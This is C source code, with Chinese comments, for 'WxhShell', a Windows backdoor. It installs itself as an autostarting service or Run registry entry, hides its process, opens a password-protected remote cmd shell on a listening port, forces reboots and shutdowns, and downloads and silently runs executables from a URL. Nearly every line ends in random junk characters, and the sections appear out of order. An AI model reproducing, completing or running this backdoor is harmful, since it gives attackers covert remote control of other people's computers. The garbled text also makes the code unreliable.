    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A}v! vVg  
    else { *]NG@^y  
    closesocket(wsh); ;fw}<M!6  
    ExitThread(0); lk]q\yO_%  
    } eW, {E)x:  
    break; (pN:ET B  
    } O%L]*vIr  
  // 获取shell VAX@'iZr  
  case 's': { bfcQ(m5  
    CmdShell(wsh); +sq'\Tbp  
    closesocket(wsh); vg[A/$gLM  
    ExitThread(0); Zvz Zs  
    break; Jw3VWc ]]  
  } UKV0xl  
  // 退出 YEH /22  
  case 'x': { Z:9xf:g *  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o{7wPwQ;*  
    CloseIt(wsh); n@xC?D:t*  
    break; Oo^kV:.)  
    } jD1/`g%  
  // 离开 ;c p*]  
  case 'q': { 'c7C*6;a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f 1s3pr??  
    closesocket(wsh); g<pr(7jO  
    WSACleanup(); uF,F<%d  
    exit(1); 4&%0%  
    break; {o1 vv+i  
        } ybNo`:8 A;  
  } x7\b-EC  
  } Iv])s  
;Z^\$v9?  
  // 提示信息 * -uA\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UMtnb:ek  
} !\|_,pSB  
  } kNq>{dNRx  
FM$$0}X  
  return; OlRtVp1  
} kjAARW  
r@")MOGc  
// shell模块句柄 8/W(jVO(-  
int CmdShell(SOCKET sock) #+CH0Z  
{ u}I-#j)wap  
STARTUPINFO si; Td,2.YMQ  
ZeroMemory(&si,sizeof(si)); g0({$2Q7R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U]/iPG &_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p>#sR4d>  
PROCESS_INFORMATION ProcessInfo; }2xgm9j<  
char cmdline[]="cmd"; l4Au{%j\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O>R@Xj)M  
  return 0; -@7?N6~qZx  
} \_io:{M  
^VI\:<\{  
// 自身启动模式 d1jg3{pwA  
int StartFromService(void) Z  FIy  
{ ":v^Y 9  
typedef struct q@i>)nC R  
{ zv .#9^/y  
  DWORD ExitStatus; DpCe_Vb%M  
  DWORD PebBaseAddress; F\u]X  
  DWORD AffinityMask; M r-l  
  DWORD BasePriority; Vh?5  
  ULONG UniqueProcessId; SfSWjq  
  ULONG InheritedFromUniqueProcessId; #,[z}fq  
}   PROCESS_BASIC_INFORMATION; hTc :'vq  
g"{`g6(+  
PROCNTQSIP NtQueryInformationProcess; Kz~E"?  
C6"{-{H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d9iVuw0u<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; / jLb{Ky  
]hMs:$}  
  HANDLE             hProcess; g3|k-  
  PROCESS_BASIC_INFORMATION pbi; ~"J7=u1o  
kxQ al  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Xr."C(`w  
  if(NULL == hInst ) return 0; =W*Ro+wWb  
rS>@>8k2,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w`GjQIA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zK_Q^M`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VwN=AFk Oj  
ppuJC ' GW  
  if (!NtQueryInformationProcess) return 0;  h3 e %(a  
%OJ"@6A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DX0#q #  
  if(!hProcess) return 0; cb=ixn  
fJ  GwT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &>n:7  
ffW-R)U|3  
  CloseHandle(hProcess); l&|Tb8_'  
g es-nG-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lb{X6_.  
if(hProcess==NULL) return 0; !c"EgP+  
rF$ S  
HMODULE hMod; qWU59:d^{  
char procName[255]; y@h v#;  
unsigned long cbNeeded; Xv+!) j<  
XE'3p6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (%j V [Q  
A(9$!%#+L  
  CloseHandle(hProcess); /&H l62Ak  
Fs}B\R/J  
if(strstr(procName,"services")) return 1; // 以服务启动 |Ed?s  
w1EB>!<;tj  
  return 0; // 注册表启动 Zd| u>tn  
} 1@t8i?:h  
v4]#Nc$~T  
// 主模块 ),>whCtsI  
int StartWxhshell(LPSTR lpCmdLine) wwNkJ+  
{ }ssP%c]  
  SOCKET wsl; W K(GR\@  
BOOL val=TRUE; 00LL&ot  
  int port=0; tUksIUYD\  
  struct sockaddr_in door; Cp?6vu|RA  
>u\'k +=  
  if(wscfg.ws_autoins) Install(); \WqC^Di  
x"7PnN|~  
port=atoi(lpCmdLine); !'C8sNs  
>]HvXEdNZ|  
if(port<=0) port=wscfg.ws_port; HBNX a  
HXN. ,[  
  WSADATA data; vA{DF{S 4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %+((F +[  
G?^w <  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \j<aFOT(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ujn7DBE"  
  door.sin_family = AF_INET; 6P T)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xyu0n p;@  
  door.sin_port = htons(port); y:  ]  
|.b&\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nf-6[dg  
closesocket(wsl); Y>{%,d#s_  
return 1; F=?GV\Tw  
} "!Nu A  
_&N:%;9uD  
  if(listen(wsl,2) == INVALID_SOCKET) { *Z+U}QhHD6  
closesocket(wsl); , {}S<^?]  
return 1; |kF"p~s  
} T2A74>Nw  
  Wxhshell(wsl); 8 .&P4u i  
  WSACleanup(); /!_FE+  
J|@O4 g   
return 0; )h]tKYx  
/uPMzl  
} #3O$B*gV6  
&gP1=P,!  
// 以NT服务方式启动 YkQ=rurE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9 ge'Mo  
{ |fb*<o eT  
DWORD   status = 0; *&5./WEOH  
  DWORD   specificError = 0xfffffff; uG+eF  
1wE`kbC<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [B^V{nUBc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &Z}}9dd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a *bc#!e  
  serviceStatus.dwWin32ExitCode     = 0; @7t*X-P.;-  
  serviceStatus.dwServiceSpecificExitCode = 0; 4<- E0  
  serviceStatus.dwCheckPoint       = 0; l}FA&c"  
  serviceStatus.dwWaitHint       = 0; W6)XMl}n  
x&N@R?AG1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m;sYg  
  if (hServiceStatusHandle==0) return; UZL-mF:)&  
" ;o, D  
status = GetLastError(); @7sHFwtar?  
  if (status!=NO_ERROR) ,D.@6 bJW  
{ 2h) *  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .B! L+M< [  
    serviceStatus.dwCheckPoint       = 0; 3!Mb<W.3  
    serviceStatus.dwWaitHint       = 0; - v=ndJ.  
    serviceStatus.dwWin32ExitCode     = status; 1`1Jn*|TI  
    serviceStatus.dwServiceSpecificExitCode = specificError; lrgvY>E0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /GA-1cS_(  
    return; "Z"`X3,-z  
  }  "2 }n(8  
AY]rQ:I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )LL.fPic  
  serviceStatus.dwCheckPoint       = 0; ;`Sn66&  
  serviceStatus.dwWaitHint       = 0; ?U,XyxN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yn2k!2]&T<  
} U9Lo0K  
tbB.n  
// 处理NT服务事件,比如:启动、停止 YCBUc<)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v){X&HbP  
{ r2&/Ii+  
switch(fdwControl) RRtOBrIedI  
{ km}E&ao  
case SERVICE_CONTROL_STOP: CbMClnF  
  serviceStatus.dwWin32ExitCode = 0; $cGV)[KWp@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'l1cuAP!+  
  serviceStatus.dwCheckPoint   = 0; InG<B,/W?  
  serviceStatus.dwWaitHint     = 0; ^Uldyv/  
  { K&&YxX~ 3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]2z Gb5s"  
  } NV^n}]ci  
  return; ?o d*"M  
case SERVICE_CONTROL_PAUSE: 602=qb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5?TjuGc  
  break; %Gjjl*`E  
case SERVICE_CONTROL_CONTINUE: ks8xxY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UmCIjwk  
  break; 7D4I>N'T  
case SERVICE_CONTROL_INTERROGATE: U6M&7 l8  
  break; r+n hm"9  
}; s=XqI@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uc j>gc=  
} ibgF,N  
z.:IUm{z  
// 标准应用程序主函数 "'c =(P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sv*xO7D.  
{ *L5L.: Ze  
z"!=A}i  
// 获取操作系统版本 B 3eNvUFZg  
OsIsNt=GetOsVer(); s`L>mRw`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (<yQA. M  
PLWx'N-kqL  
  // 从命令行安装 h='@Q_1Sb  
  if(strpbrk(lpCmdLine,"iI")) Install(); <gSZ<T  
.Tc?9X~4  
  // 下载执行文件 Y;8.(0r/  
if(wscfg.ws_downexe) { BeM|1pe.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !7uFH PK-  
  WinExec(wscfg.ws_filenam,SW_HIDE); h{Y#. j~aS  
} ;4(FS  
ACH!Gw~  
if(!OsIsNt) { y/ah<Y0(  
// 如果时win9x,隐藏进程并且设置为注册表启动 RTYhgq  
HideProc(); E2|c;{ c  
StartWxhshell(lpCmdLine); W.<I:q`eO  
} J]Qbg7|  
else [M:BJ%*  
  if(StartFromService()) !%YV0O0  
  // 以服务方式启动 :;Wh!8+j  
  StartServiceCtrlDispatcher(DispatchTable); G6j9,#2@  
else V, e  
  // 普通方式启动 p:qj.ukw  
  StartWxhshell(lpCmdLine); ^ `Y1   
9Dx9alJR  
return 0; q*{Dy1Tj  
} aEqDxr6  
-cWxS{vO  
J OH=)+xj  
LwIX&\Ub  
=========================================== L3X[; |v}  
+DP{_x)t  
Z+x`q#ZQr  
.Ue1}'v*,  
i9y&<^<W  
Y&`nB,'  
" qXQ7Jg9  
2o-Ie/"d\  
#include <stdio.h> X6: c-  
#include <string.h> jiAN8t*P  
#include <windows.h> 3+r8yiY  
#include <winsock2.h> Uzd\#edxJ  
#include <winsvc.h> MQGR-WV=5  
#include <urlmon.h> mkt%|Kb.  
/bv4/P  
#pragma comment (lib, "Ws2_32.lib") ,(CIcDJ2U_  
#pragma comment (lib, "urlmon.lib") 0~j0x#  
V$<5`  
#define MAX_USER   100 // 最大客户端连接数 C9FQo7   
#define BUF_SOCK   200 // sock buffer 8Dy;'BtT  
#define KEY_BUFF   255 // 输入 buffer k-\RdX)E  
!`#xFRHe  
#define REBOOT     0   // 重启 'x!5fAy  
#define SHUTDOWN   1   // 关机 421ol  
tsu Mt  
#define DEF_PORT   5000 // 监听端口 DU-&bm  
\py \rI  
#define REG_LEN     16   // 注册表键长度 fP:g}Z  
#define SVC_LEN     80   // NT服务名长度 ) %&~CW+  
gEU|Bx/!=  
// 从dll定义API sYb(g'W*'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;-X5#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (lVHKg&U[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m339Y2%=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -V)DKf"f  
}e*OprF  
// wxhshell配置信息 X,h"%S<c#H  
struct WSCFG { KPSHBv-#  
  int ws_port;         // 监听端口  ,L}  
  char ws_passstr[REG_LEN]; // 口令 pe$l'ur  
  int ws_autoins;       // 安装标记, 1=yes 0=no |\MgE.N  
  char ws_regname[REG_LEN]; // 注册表键名 m dTCe HX  
  char ws_svcname[REG_LEN]; // 服务名 NJraol  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W{(q7>g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?ydqmj2[F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m|w-}s,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >HY( Ij<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -(]s!,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rt[w yz8  
%^$7z,>;  
}; %0!!998  
td#B$$[  
// default Wxhshell configuration S @ MO  
struct WSCFG wscfg={DEF_PORT, cRhu]fv()  
    "xuhuanlingzhe", >ps=z$4j*  
    1, Qs5^kddz=  
    "Wxhshell", <r'l5|er  
    "Wxhshell", ^xwnX=Np  
            "WxhShell Service", /!mF,oR!  
    "Wrsky Windows CmdShell Service", CQx#Xp>=s  
    "Please Input Your Password: ", >3a<#s{%  
  1, (}u2) 9  
  "http://www.wrsky.com/wxhshell.exe", D-tm'APq  
  "Wxhshell.exe" %`[Oz[V  
    }; x4C}AyR  
IE|$mUabm  
// 消息定义模块 plRBfw>]N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z4 +6'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zFqlTUD`t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U\ Et  
char *msg_ws_ext="\n\rExit."; xQ=sZv^M  
char *msg_ws_end="\n\rQuit."; AD=vYDR+  
char *msg_ws_boot="\n\rReboot..."; B~RVFc +  
char *msg_ws_poff="\n\rShutdown..."; jLRh/pbz4  
char *msg_ws_down="\n\rSave to "; [Grd?mc#  
8(Ab NQ  
char *msg_ws_err="\n\rErr!"; +I {ZW}rA  
char *msg_ws_ok="\n\rOK!"; D 1Q@4  g  
Xv%1W? >@/  
char ExeFile[MAX_PATH]; ,MxTT!9Su  
int nUser = 0; NM;0@ o  
HANDLE handles[MAX_USER]; W h^9 Aq  
int OsIsNt; 5QjM,"`mp  
ST#MCh-00  
SERVICE_STATUS       serviceStatus; + S^OzCGk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (HW!!xM  
O#g'4 S  
// 函数声明 U$fh ~w<[  
int Install(void); q`l%NE  
int Uninstall(void); dp3>G2Yq  
int DownloadFile(char *sURL, SOCKET wsh); \L"Vx9xT  
int Boot(int flag); +$-@8,F>  
void HideProc(void); o& GS;{Rs  
int GetOsVer(void); G' 5p/:  
int Wxhshell(SOCKET wsl); /7 CF f&4  
void TalkWithClient(void *cs); d@a FW  
int CmdShell(SOCKET sock); O"$uw  
int StartFromService(void); q*|H*sS  
int StartWxhshell(LPSTR lpCmdLine); Sd !!1a s  
#JFTD[1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PtUea  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `*J;4Ju@  
\<}4D\qz  
// 数据结构和表定义 v\3:R,|'  
SERVICE_TABLE_ENTRY DispatchTable[] = arR9uxP  
{ _R,VNk  
{wscfg.ws_svcname, NTServiceMain}, Pd<s#  
{NULL, NULL} &p)]Cl/`  
}; BB?vc( d  
*ydkx\pT  
// 自我安装 \pXs&}%1,F  
int Install(void) SM;*vkwz~  
{ i: 6`Rmz1.  
  char svExeFile[MAX_PATH]; $?.0>0 ,<  
  HKEY key; yM *-e m  
  strcpy(svExeFile,ExeFile); vU:FDkx*nn  
H\Y5Fd9)  
// 如果是win9x系统,修改注册表设为自启动 ?*36&Iq}  
if(!OsIsNt) { WU wH W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { []'gIF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8!~8:?6n  
  RegCloseKey(key); g[]UM;D*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N%hV+># Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2qw-:  
  RegCloseKey(key); Tq\S-K}4!  
  return 0; Fgf5OHX  
    } 9w^lRbn  
  } 3C,G~)= x  
} u?(@hUV.  
else { TY(B]Q_o  
raWs6b4Q  
// 如果是NT以上系统,安装为系统服务 ^PnXnH?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0W92Z@_GY  
if (schSCManager!=0) ,cgFdOM.  
{ e;+6U"Jx*  
  SC_HANDLE schService = CreateService n9 LTrhLqp  
  ( :!SVpCt3  
  schSCManager, Wchu-]  
  wscfg.ws_svcname, toq/G,N Q  
  wscfg.ws_svcdisp, LH=gNFgzt  
  SERVICE_ALL_ACCESS, #DBg8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [Eeanl&x>  
  SERVICE_AUTO_START, rd*`8B  
  SERVICE_ERROR_NORMAL, 8T7ex(w  
  svExeFile, )w?DB@Tx  
  NULL, L}E~CiL0n  
  NULL, TzaR{0 1  
  NULL, WR&>AOWAD  
  NULL, F/ZB%;O9  
  NULL w\"~ *(M  
  ); -C]k YQ  
  if (schService!=0) #41xzN  
  { 'qL:7  
  CloseServiceHandle(schService); !cLdoX  
  CloseServiceHandle(schSCManager); (=2-*((&(A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W'|NYw_B  
  strcat(svExeFile,wscfg.ws_svcname); :]Nn(},  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :%6OFO$z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eb6Ux  
  RegCloseKey(key); jL }bGD  
  return 0; /5Od:n  
    } DjyqQ yq~  
  } 7L%JCH#F  
  CloseServiceHandle(schSCManager); Nl4,c[$C  
} -0QoVGw  
} ~[_u@8l!mN  
{7k Jj(Ue  
return 1; fH-fEMyW  
} \# p@ef  
9nM_LV  
// 自我卸载 /|<Pn!}J  
int Uninstall(void) ,Wv@D"4?  
{ |/qwR~  
  HKEY key; S!Alno  
q9e(YX>  
if(!OsIsNt) { &d%\&fCm(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q,i&%  
  RegDeleteValue(key,wscfg.ws_regname); *^ZJ&.  
  RegCloseKey(key); J!{t/_aw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eD|p1+76  
  RegDeleteValue(key,wscfg.ws_regname); f`$F^=  
  RegCloseKey(key); ,4Q1[K35B  
  return 0; 3WVH8Sb  
  } Fy; sVB  
} ,Y:ET1:  
} ty"|yA  
else { r}**^"mFy  
Qe[ejj1o:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &RJ*DAmL  
if (schSCManager!=0) B\73 Vf  
{ kB)u@`</mV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R@X65o  
  if (schService!=0) V< Ib#rd'  
  { *:5S*E&}V  
  if(DeleteService(schService)!=0) { GM~Ek] 9C%  
  CloseServiceHandle(schService); z#[PTqD-_  
  CloseServiceHandle(schSCManager); L@5j? N?F  
  return 0; t)4><22of  
  } <2n5|.:>  
  CloseServiceHandle(schService); ?XlPK Y  
  } %.h&W;  
  CloseServiceHandle(schSCManager); Dhe*)  
} 4'+g/i1S F  
} o2 ;  
9-W3}4'e  
return 1; R_4eME2LB  
} 0.aIcc  
]\C wa9  
// 从指定url下载文件 Sl;[9l2  
int DownloadFile(char *sURL, SOCKET wsh) Y&XO:jB  
{ u|mTF>L  
  HRESULT hr; VLfc6:Yg  
char seps[]= "/"; 2zV{I*  
char *token; =*5< w  
char *file; `SH14A*  
char myURL[MAX_PATH]; [n2+`A  
char myFILE[MAX_PATH]; ~Ydm"G  
|AQU\BUj  
strcpy(myURL,sURL); ` pYyr/  
  token=strtok(myURL,seps); 2il`'X  
  while(token!=NULL) o"V+W  
  { VnYcqeCm  
    file=token; /szwVA  
  token=strtok(NULL,seps); /fSsh;F  
  } :R-_EY$k6  
Q}: $F{  
GetCurrentDirectory(MAX_PATH,myFILE); ]vflx^<?  
strcat(myFILE, "\\"); xZ]QT3U+  
strcat(myFILE, file); Yyr qO^9m  
  send(wsh,myFILE,strlen(myFILE),0); k-N}tk/5  
send(wsh,"...",3,0); !X[P)/?b0+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,Y4>$:#n/  
  if(hr==S_OK) &7 K=  
return 0; Vb8Qh601  
else &z]x\4#,  
return 1; *N |ak =  
4;bc!> sfC  
}  SDc8\ms  
LPeVr^  
// 系统电源模块 S\SYFXUl  
int Boot(int flag) k%TBpG:T  
{ bZ>dr{%%e  
  HANDLE hToken; ~>#?.f  
  TOKEN_PRIVILEGES tkp; nWes,K6T  
'~9w<dSB!r  
  if(OsIsNt) { kz/"5gX:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &qzy?/i8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @#p6C  
    tkp.PrivilegeCount = 1; #tIeI6 Qw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D#D55X^6*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #P1U] @  
if(flag==REBOOT) { Yr*!T= z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S"t\LB*'Ls  
  return 0; ~dC.,"  
} iR!]&Oh  
else { c{IL"B6>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zm{`+boH<  
  return 0; =axuLP))  
} ' <?=!&\D  
  } #N$\d4q9  
  else { m^~5Xr"  
if(flag==REBOOT) { D/ VEl{ba-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .Y0O.  
  return 0; gq]@*C  
} ;Dbx5-t  
else { !|l7b2NEz-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NcrBp(  
  return 0; i6f42]Jy  
} 4H^ACw  
} gt9(5p  
#+N_wIP4  
return 1; Ifokg~X~G  
} njZJp|y6  
\:g\?[  
// win9x进程隐藏模块 FUXJy{n6"2  
void HideProc(void) 01&@8z'E  
{ 2acT w#  
'd|!Hr<2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BaWU[*  
  if ( hKernel != NULL ) *8_Dn}u?Jx  
  { |@~_&g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )Ii`/I^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fk9q3  
    FreeLibrary(hKernel); 73B[|J*  
  } }d>Xh8:%)  
%JH/|mA&|  
return; lcLDCt ?  
} 6oq5CDoq  
DgK*> A  
// 获取操作系统版本 m[%':^vSr  
int GetOsVer(void) C=(Q0-+L|  
{ (?g+.]Dt,  
  OSVERSIONINFO winfo; 4x<H=CJC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); teI?.M9r  
  GetVersionEx(&winfo); +V(^ "Z~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vS"h`pL  
  return 1; X-X`Z`o  
  else *p=enflU  
  return 0; M7T*J>i  
} }]#z0'Aqsu  
k<P`  
// 客户端句柄模块 *~YdL7f)J  
int Wxhshell(SOCKET wsl) /CH]'u^j  
{ a0+q^*\d\R  
  SOCKET wsh; ?A3u2-  
  struct sockaddr_in client; o>nw~_ H\  
  DWORD myID; /E2P  
Sa%%3_&  
  while(nUser<MAX_USER) v%c/eAF  
{ 7M _ mR Vh  
  int nSize=sizeof(client); zRd.!Rv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mr/?w0(C  
  if(wsh==INVALID_SOCKET) return 1; k6J&4?xZ  
" dGN0i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cWG%>.`5r  
if(handles[nUser]==0) B=;kC#Emtf  
  closesocket(wsh); ll1N`ke  
else b !y  
  nUser++; z5oJQPPi  
  } \NMqlxp2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0%< hj  
`"}).{N]C  
  return 0; uY(8KW  
} @87Y/_l  
W!R0:-  
// 关闭 socket :<bhQY  
void CloseIt(SOCKET wsh) |O6/p7+.  
{ &tvtL  
closesocket(wsh); a] 7g\rg)  
nUser--; :aBxyS*}G  
ExitThread(0); y2#"\5dC  
} 0;@>jo6,!  
d/jP2uu A  
// 客户端请求句柄 `A%WCd60Tc  
void TalkWithClient(void *cs) tc/  
{ =Gu&0f  
S5u$I  
  SOCKET wsh=(SOCKET)cs; kS &>g  
  char pwd[SVC_LEN]; XVqkw@Ia4!  
  char cmd[KEY_BUFF]; U]gUGD!5x  
char chr[1]; 7M4J{}9  
int i,j; 9PA<g3z  
akNqSZwj  
  while (nUser < MAX_USER) { ^+CWo@.  
L%(NXSfu7  
if(wscfg.ws_passstr) { Pzq^x]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9Q}g Vqn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j`"!G*Vh  
  //ZeroMemory(pwd,KEY_BUFF); ,mHUo4h1O  
      i=0; 8C8S) ;  
  while(i<SVC_LEN) { yyljyE  
=]-z?O6^`  
  // 设置超时 ye=4<b_  
  fd_set FdRead; A-:k4] {%P  
  struct timeval TimeOut; KpYezdPF)  
  FD_ZERO(&FdRead); @XolFOL"f"  
  FD_SET(wsh,&FdRead); `_1~[t  
  TimeOut.tv_sec=8; tuIZYp8tIN  
  TimeOut.tv_usec=0; B~ i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZIa,pON  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MTCfs~}m  
I=#`8deH(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z`t~N  
  pwd=chr[0]; NJ.oME@=  
  if(chr[0]==0xd || chr[0]==0xa) { ,8Po _[  
  pwd=0; .l_Nf9=  
  break; fn,hP_  
  } RC[Sa wA  
  i++; 3: WEODV2  
    } wpYk`L r  
OqIXFX"  
  // 如果是非法用户,关闭 socket 5N $XY@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aIFlNS,y  
} ih/E,B"  
/ @"{u0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q17dcgd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  |@'O3KA  
/P@%{y  
while(1) { cZ?$_;=  
3k9n*jY0  
  ZeroMemory(cmd,KEY_BUFF); L55 UeP\  
rkR5>S( 2M  
      // 自动支持客户端 telnet标准   D0xQXC3$`  
  j=0; i(;`x  
  while(j<KEY_BUFF) { Lu.+J]Rz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {CI4AT!?W  
  cmd[j]=chr[0]; $'3xl2T  
  if(chr[0]==0xa || chr[0]==0xd) { GW;%~qH[,  
  cmd[j]=0; lTqlQ<`V  
  break; DbH;DcV7  
  } eIalcBY  
  j++; /Yp#`}Ii  
    } uO LShNo  
<C&|8@A0  
  // 下载文件 O7VEyQqf5  
  if(strstr(cmd,"http://")) { F""9O6u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |EX=Rj*  
  if(DownloadFile(cmd,wsh)) }q@#M8b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i,*m(C@F}  
  else 9;U?_   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t kj  
  } Xj/z),  
  else { Icrnu}pl_  
N7J?S~x  
    switch(cmd[0]) { 8^ f:-5  
  %r(WS_%K|  
  // 帮助 )e?&'wa>  
  case '?': { lUs$I{2_  
